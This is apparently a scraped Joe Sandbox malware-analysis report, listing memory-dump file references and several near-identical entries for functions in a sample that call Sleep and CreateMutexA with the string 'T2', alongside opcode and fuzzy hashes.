Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 4c6d886f238c57170ede7fb2d98024fbc1e1b5484da64f06dc739f653ba74175
Instruction ID: 790ca652ddf13736ccb722fbdf814fe8edf72c75088737612cba4b6e06f309eb
Opcode Fuzzy Hash: 4c6d886f238c57170ede7fb2d98024fbc1e1b5484da64f06dc739f653ba74175
Instruction Fuzzy Hash: A33126717043089BEB18DBB8DD89BADB7A2EBC5314F289628E014B73D5C77699C08752

Function 00E0A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 7875f9a777b2ff9e4b36c451b729ff59728679f025d048ef3005375848a1c907
Instruction ID: 00655ce06f5f0c1b7cd3f82891d13509b8172bd75f4706f72488d784b7b3dfbf
Opcode Fuzzy Hash: 7875f9a777b2ff9e4b36c451b729ff59728679f025d048ef3005375848a1c907
Instruction Fuzzy Hash: 4A3118717043089BEB18DBB8EC897ADB7A2EBC6314F285638E014B72D5D77599C08752

Function 00E0A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 5cdcdff61ab02fa9d64b561420636f49c4a28f6dd76fc67d8fedef3a35bc397d
Instruction ID: 787cd3661af54ab20a06fde64f30082fd51b7f2d38810f7159b49f9f4ceb8f1d
Opcode Fuzzy Hash: 5cdcdff61ab02fa9d64b561420636f49c4a28f6dd76fc67d8fedef3a35bc397d
Instruction Fuzzy Hash: 43312C31B043049BEB189BB8DC8DBADB7B1EFC5314F28A228E024B72D5D7B559C08752

Function 00E0A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: 1a9a17dec2d2926239d36a40e593d226d0cd8cc7516616ec5d3250cd2930254d
Instruction ID: 8bf257536063e889a0a94bdc550374fc46d43db97ea5785e62218fd83208a2d0
Opcode Fuzzy Hash: 1a9a17dec2d2926239d36a40e593d226d0cd8cc7516616ec5d3250cd2930254d
Instruction Fuzzy Hash: 2B312E317043089BEB18DBB8EC89BADB761EBC5318F28962CE454F72D5C77599C08752

Function 00E0A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292059060.0000000000FC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292115421.0000000000FCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292153523.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292254693.0000000000FF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292293154.0000000000FF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292323353.0000000001000000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292351438.0000000001004000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292417444.0000000001005000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292450195.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292904799.000000000101D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2292973236.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293037679.000000000101F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293093917.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293281553.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293362038.000000000102F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293442660.0000000001045000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293622076.0000000001047000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2293852976.0000000001051000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294424829.0000000001056000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294473988.0000000001057000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294560863.000000000105E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294585622.000000000105F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294615375.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294694189.0000000001069000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294750685.000000000106A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294783617.0000000001076000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2294864277.000000000107B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2295501659.000000000107D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2296522026.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298737169.0000000001086000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2298784140.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299287328.00000000010A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299317305.00000000010C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299383859.00000000010DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299490879.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299558862.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299629911.00000000010F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299692220.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299730340.00000000010FB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299751462.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2299797846.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e00000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-631260391
Opcode ID: f7946ae91185c1116cfd8eaffe793de1576bca7f8c3cb3ad9cf47f2ef9e0dfca
Instruction ID: 158147de6af006c7707ffbcc5bb9b9ae01a8820d6a0ecff018ca974d3a928751
Opcode Fuzzy Hash: f7946ae91185c1116cfd8eaffe793de1576bca7f8c3cb3ad9cf47f2ef9e0dfca
Instruction Fuzzy Hash: 373128317043089BEB18DBB8EC89BADB7B2EBC5314F2C9629E014B72D1C77599C08752

Function 00E09ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00E0A963
CreateMutexA.KERNEL32(00000000,00000000,00E63254), ref: 00E0A981

Strings

T2, xrefs: 00E0A970

Memory Dump Source

Source File: 00000001.00000002.2291683336.0000000000E01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000001.00000002.2291658143.0000000000E00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291683336.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291793031.0000000000E69000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291828780.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2291860231.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
